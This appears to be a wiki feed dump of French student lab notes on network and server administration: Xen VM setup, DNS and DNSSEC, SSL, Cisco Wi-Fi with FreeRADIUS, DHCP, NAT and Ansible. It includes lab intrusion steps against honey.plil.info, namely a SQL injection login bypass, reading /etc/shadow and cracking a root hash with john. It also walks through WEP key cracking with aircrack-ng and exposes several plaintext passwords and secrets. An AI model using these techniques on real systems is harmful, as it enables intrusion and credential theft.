 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;dock&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54983</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54983"/>
				<updated>2020-12-18T18:53:34Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
